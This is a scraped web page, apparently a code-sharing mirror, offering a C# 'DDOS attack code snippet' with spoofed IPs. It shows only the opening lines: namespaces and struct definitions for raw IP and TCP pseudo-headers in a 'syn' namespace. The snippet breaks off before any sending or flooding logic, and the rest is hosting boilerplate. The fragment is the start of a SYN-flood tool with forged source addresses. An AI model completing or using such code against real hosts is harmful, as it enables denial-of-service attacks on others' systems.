C # DDOS attack code snippet (pseudo IP)

Source: Internet
Author: User

1 // set "allow unsafe code" to true in Project Properties
2
3 using System;
4 using System. Net;
5 using System. Net. Sockets;
6 using System. Threading;
7 // do not explain the required namespace
8 namespace syn
9 {
10 public struct ipHeader
11 {
12
13
14
15 public byte ip_verlen; // 4-bit Header Length + 4-bit IP version number
16 public byte ip_tos; // 8-bit service type TOS
17 public ushort ip_totallength; // The total length of a 16-bit data packet (in bytes)
18
19
20 public ushort ip_id; // 16-bit ID
21 public ushort ip_offset; // 3-Bit Flag
22 public byte ip_ttl; // 8-bit TTL
23 public byte ip_protocol; // 8-bit protocol (TCP, UDP, ICMP, Etc .)
24 public ushort ip_checksum; // 16-bit IP header checksum
25 public uint ip_srcaddr; // 32-bit source IP address
26 public uint ip_destaddr; // 32-bit destination IP address
27}
28 public struct psdHeader
29 {
30
31
32 public uint saddr; // Source Address
33 public uint daddr; // Destination Address
34

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.